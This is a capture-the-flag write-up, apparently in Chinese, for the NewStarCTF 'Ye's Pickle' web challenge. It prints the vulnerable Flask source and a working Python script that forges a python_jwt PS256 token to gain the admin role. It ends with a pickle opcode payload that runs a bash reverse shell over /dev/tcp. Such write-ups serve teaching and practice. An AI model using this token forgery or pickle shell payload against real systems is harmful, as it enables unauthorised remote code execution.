NewStarCTF WEEK5|WEB Ye's Pickle
下载附件
# -*- coding: utf-8 -*-
import base64
import string
import random
from flask import *
import jwcrypto.jwk as jwk
import pickle
from python_jwt import *
app = Flask(__name__) # 创建 Flask 应用实例
def generate_random_string(length=16):
"""
生成一个指定长度的随机字符串,由字母和数字组成。
:param length: 字符串的长度,默认为16
:return: 随机生成的字符串
"""
characters = string.ascii_letters + string.digits # 包含字母和数字
random_string = ''.join(random.choice(characters) for _ in range(length))
return random_string
# 设置 Flask 的 SECRET_KEY,随机生成一个16位的字符串
app.config['SECRET_KEY'] = generate_random_string(16)
# 生成一个 RSA 密钥,用于 JWT 签名和验证
key = jwk.JWK.generate(kty='RSA', size=2048)
@app.route("/")
def index():
"""
处理主页请求。根据请求中的 token 验证用户角色,并渲染相应的模板。
如果没有提供 token,则生成一个默认的 JWT 并返回给客户端。
"""
payload = request.args.get("token") # 从查询参数中获取 token
if payload:
try:
# 验证 JWT,获取用户角色
token = verify_jwt(payload, key, ['PS256'])
session["role"] = token[1]['role'] # 将用户角色存储在 session 中
except Exception as e:
# 如果 JWT 验证失败,默认为 guest 角色
session["role"] = "guest"
else:
# 如果没有 token,设置默认角色为 guest,并生成一个新的 JWT
session["role"] = "guest"
user = {"username": "boogipop", "role": "guest"}
jwt = generate_jwt(user, key, 'PS256', timedelta(minutes=60)) # 生成 JWT
return render_template('index.html', token=jwt) # 返回渲染的模板及生成的 token
return render_template('index.html') # 返回渲染的模板
@app.route("/pickle")
def unser():
"""
处理 pickle 请求。如果用户角色为 admin,则解码和反序列化 pickle 数据。
否则,直接渲染模板。
"""
if session.get("role") == "admin": # 检查用户角色是否为 admin
try:
pickle_data = request.args.get("pickle") # 从查询参数中获取 pickle 数据
if pickle_data:
pickle.loads(base64.b64decode(pickle_data)) # 解码和反序列化 pickle 数据
except Exception as e:
# 捕获 pickle 解码和反序列化过程中的异常(如有)
return render_template("index.html", error=f"Pickle error: {e}")
return render_template("index.html") # 返回渲染的模板
if __name__ == "__main__":
# 启动 Flask 应用,监听所有网络接口的 5000 端口
app.run(host="0.0.0.0", port=5000, debug=True)
通过对代码简单的分析思路很明显
现在/路由下进行token伪造
脚本
import base64
from datetime import timedelta
from json import loads, dumps
import jwcrypto.common
from jwcrypto.common import base64url_decode, base64url_encode
def topic(topic):
""" Use mix of JSON and compact format to insert forged claims including long expiration """
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
parsed_payload['role'] = 'admin'
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
originaltoken = 'eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MjI1OTE1NjYsImlhdCI6MTcyMjU4Nzk2NiwianRpIjoiUHZQUk1fWXRmaDJrT0FDZl9zQzd4USIsIm5iZiI6MTcyMjU4Nzk2Niwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJib29naXBvcCJ9.paFjWMAcxz5l_RfYKFQVU-kZhuJSJli9ckQ8Q_k8ouMAGaW1YE-OAyl9XFP0-iQosVaFKFUzojMtJRxAHxdnK3L8yjjZrpr9XLsLV87UNMC_Nl-NPCYMzXpPvT5d6bCqViKELVIWecTVjMo0vO2q4GNs83K6lNE6-dq0jrvYELg-KB6sqVoH5QfRRG_lbzVxtTOIVnE6Z9z9C36NU44G6fHjeYqBYhJ3Z7Hudhib4y6aXzpL9vLtI8swQNBkUZUf8F8CR5b-QAxl86FfI6cnXkO11tENBhPMnw_vtn5XOcUy3hRwrHDG6I6a5R-r6BWzPSNSHGvcFxjPA8eOWQVvBQ'
topic = topic(originaltoken)
print(topic)
然后就
空格用%20替代
接下来就是开始利用pickle.loads(base64.b64decode(pickle_data))来执行命令
直接弹shell
import base64
opcode=b'''cos
system
(S"bash -c 'bash -i >& /dev/tcp/ip/端口 0>&1'"
tR.
'''
print(base64.b64encode(opcode))